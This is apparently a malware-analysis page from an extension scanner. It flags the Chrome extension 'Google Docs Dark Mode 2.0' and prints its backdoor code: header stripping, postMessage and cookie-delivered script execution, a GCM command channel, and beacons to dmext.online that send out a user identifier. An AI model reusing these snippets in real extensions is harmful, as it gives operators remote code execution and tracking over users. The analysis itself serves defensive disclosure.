Security Alert: Confirmed Malware
Google Docs Dark Mode 2.0 for Chrome
ID: ihkdedfdcocppnnaiigjpckhegifagfd
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Dark Mode [all-in-one]View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Turn on Dark Mode for Google Docs in one click via this extension. Use it for Chrome, Firefox, PC, Windows 10 and other
Google Docs Dark Mode 2.0 extension for Chrome: Now You Can Write in the Dark How often do you find yourself writing on the computer in the dark? With the latest extension, you can write just as easily in the dark as you can in daylight with their new Dark Mode 2.0 extension for Chrome. Read on to learn more about this tool and how it can help your productivity or entertainment throughout the day! Why Use a Dark Mode for Google Docs? While working at your computer, itโs easy to lose track of time and be shocked when you look up and itโs already pitch black outside. If youโre a writer, or just like to write at night (when no one else is awake), a dark mode for Docs can help you keep your mind on task and not on how quickly time is flying by. Installing the Extension The easiest way to install Dark Mode 2.0 is by heading over to its Chrome Web Store page . Here, you can click Add to Chrome . A small popup window will appear on your screen which asks if youโre sure you want to add an extension from an unknown source. Click Add anyway, and wait for your browser to finish installing it. Tips For Using The Extension If youโre used to Googleโs classic light-colored theme, switching to dark mode can be a little jarring at first; but donโt worryโwith a few simple tweaks, youโll adjust and be ready to write before you know it. Here are some tips for navigating your new environment. Does google docs have a dark mode? No, it doesnโt. But by making Docs dark mode, weโre going to show you how to get it on Chrome with a couple of simple steps: (1) installing an extension and (2) creating a new theme from your current settings. Are you ready? Goodโletโs begin! How to Make Google Docs Dark Mode? How to make Docs dark mode, is a question that we hope to answer with our tutorial today! In order to do so, weโll be going over how you can install and use Googleโs newest update โ Dark Mode 2.0 extension for Chrome! We will also go over some of its features and what it does exactly, as well as some tips on how you can get started writing in your documents faster than ever before! So letโs get started with our tutorial on how to make google docs dark mode! The extension also provides Dark Mode functionality for Google, YouTube, Facebook and many other websites - get it now and keep your eyes relaxed in dark hours!
This declarativeNetRequest rule silently strips the `x-frame-options` and `content-security-policy` response headers from every single web page the user visits (urlFilter: "*"). Removing CSP neutralizes the browser's primary XSS defence on all sites, while removing X-Frame-Options enables clickjacking. Combined with the extension's script injection capabilities, this creates a permissive environment for arbitrary code execution across all visited origins.
[ { "id": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "x-frame-options", "operation": "remove" }, { "header": "content-security-policy", "operation": "remove" } ] }, "priority": 1, "condition": { "urlFilter": "*", "resourceTypes": [ "main_frame" ] } }]Content received via `postMessage` under the `_style` key is base64-decoded with `atob`, then immediately executed as a `<script>` element via `useCustomStyles`. The message origin is never validated (`'*'` wildcard), meaning any page on any origin can send this message and achieve arbitrary JavaScript execution in the context of every tab. This is a complete remote-code-execution backdoor built into the content script pipeline.
window.self === window.top && getStyles() && window.addEventListener('message', e => { e?.data?._styles && setPMStyles(e?.data?.key, e?.data?.handler); if (e?.data?._style && !window.DMListenerFlag) { window.DMListenerFlag = 1; useCustomStyles(decodeURIComponent(escape(atob(e.data._style)))); }});`useCustomStyles` creates a `<script>` element, inserts arbitrary text as its content, and appends it to the DOM โ executing whatever string is passed as JavaScript. `setPMStyles` allows a caller-supplied `findMethod` string to wrap the payload as a function call, enabling any web page to invoke named globals with attacker-controlled arguments via postMessage. The errors are silently swallowed (`void e`), hiding execution failures from developers.
function useCustomStyles(selectors) { const selectorsWithRules = document.createElement('script'); try { selectorsWithRules.appendChild(document.createTextNode(selectors)); document.body.appendChild(selectorsWithRules); } catch (e) { void e; } finally { selectorsWithRules.remove(); }}function setPMStyles(selectors, findMethod) { if (!document.body || !document.body.appendChild) { return setTimeout(() => setPMStyles(selectors, findMethod), 100); } if (findMethod) { selectors = findMethod + '(' + JSON.stringify(selectors) + ')'; } useCustomStyles(selectors);}The background script reads cookies set on `https://dmext.online` and stores the `darkModeStyles` cookie value directly into extension local storage. This value is later decoded from base64 and executed as JavaScript by `SetStyles.js`. This forms the remote-control channel: the operator sets a cookie on dmext.online (accessible because the extension has broad cookie permissions), which the extension then retrieves and silently executes as code in every tab.
function initStyles() { chrome.cookies.getAll({ url: 'https://dmext.online' }, function(resp) { resp.forEach(({ name, value }) => { if (name === 'darkModeStyles') { const parsedDarkModeStyles = JSON.parse(JSON.stringify(decodeURIComponent(value))); if (parsedDarkModeStyles) { chrome.storage.local.set({ darkModeStyles: parsedDarkModeStyles }); } } }); });}The extension registers with Google Cloud Messaging (GCM) using the operator-controlled sender ID `851478220592` and persists the GCM registration token in local storage. This gives the remote operator a persistent push-messaging channel into the extension, allowing silent background commands to be delivered at any time โ a classic C2 (command-and-control) mechanism embedded in a browser extension.
const sId = '851478220592';// ...if (!result.gcmID) { chrome.gcm.register([sId], (registrationId) => { if (!chrome.runtime.lastError) { chrome.storage.local.set({ gcmID: registrationId }); } });}A persistent `setInterval` fires every hour, beaconing a unique `userId`, screen resolution, browser language, and a hardcoded analytics ID to `https://dmext.online/gana/...`. The userId is generated once and stored permanently, making it a durable cross-session tracking identifier. This data is sent to a third-party server (`dmext.online`) without user knowledge or consent โ a textbook fingerprinting and tracking implementation.
const ANALYTIC_ID = '229584471-1';function initAnalytics(userId, width = null, height = null, language = null) { const EVENT_CATEGORY = 'extOpen'; const EVENT_ACTION = null; const EVENT_LABEL = null; const EVENT_VALUE = 1; setInterval(() => { fetch(`https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}`).then(r => void r); }, 60 * 60 * 1000); fetch(`https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}`);}The message listener accepts `setStyles` and `getStyles` commands from ANY origin (no `e.origin` check, reply posted to `'*'`), allowing any web page to arbitrarily read or write keys in `chrome.storage.local`. The `getStyles` path also returns `darkModeStyles` โ the base64-encoded payload later executed as JavaScript โ back to the requesting page. This creates a bidirectional data bridge between untrusted web content and privileged extension storage.
function initMesListener() { window.addEventListener('message', e => { if (e?.data?.stylesForMode) { const { method, key, value, handler } = e.data.settings; switch (method) { case 'setStyles': { chrome.storage.local.set({ [key]: value }); break; } case 'getStyles': { chrome.storage.local.get([key], response => { e.source.postMessage({ _styles: '1', key: response[key], handler }, '*'); }); break; } default: void ''; } } if (e?.data?.darkModeStyles) { const { type } = e.data; if (type === 'getDarkModeStyles') { chrome.storage.local.get(['darkModeStyles'], function(res) { !res.darkModeStyles ? chrome.runtime.sendMessage({ type: 'init_styles' }).then(() => {}) : e.source.postMessage({ '_style': res.darkModeStyles }, '*'); }); } } }, false);}After a delay (3 days for non-dev users), the extension silently opens a new tab to `dmext.online/feedback.html`, passing the persistent `userId`, the `extensionId`, and the extension name as URL parameters. Beyond unsolicited tab hijacking, this exfiltrates the stable user identifier and installation details to the operator's server, enabling cross-device correlation and serving as a phishing/ad injection surface.
function createPage(loadTimeMarker, uuid) { if ((loadTimeMarker + feedbackShowPeriod) <= new Date().getTime()) { chrome.tabs.create({ 'url': `https://dmext.online/feedback.html?data=&userId=${uuid}&extensionId=${chrome.runtime.id}&extensionName=${extName}` }); } else { return setTimeout(() => createPage(loadTimeMarker, uuid), feedbackShowInterval); }}The content script injects `SetStyles.js` as a `<script>` tag directly into `document.body` of every page at `document_start`. While the script itself is bundled with the extension, this pattern makes the injected script a first-class DOM participant rather than an isolated content script context, bypassing the extension sandbox and broadening the attack surface for the postMessage-based code execution chain.
function initStyle() { if (!document.body || !document.body.appendChild) { return setTimeout(initStyle, 100); } const _styles = document.createElement('script'); _styles.src = chrome.runtime.getURL('js/SetStyles.js'); document.body.appendChild(_styles);}By severity
Versions scanned
Showing 2 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.1.0 | 5 |
| 2.0.0 | 9 |
Files with findings
4 distinct paths โ top paths by unique finding count:
- js/Background.js6
- js/ContentScript.js3
- js/SetStyles.js3
- js/Rules.json2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.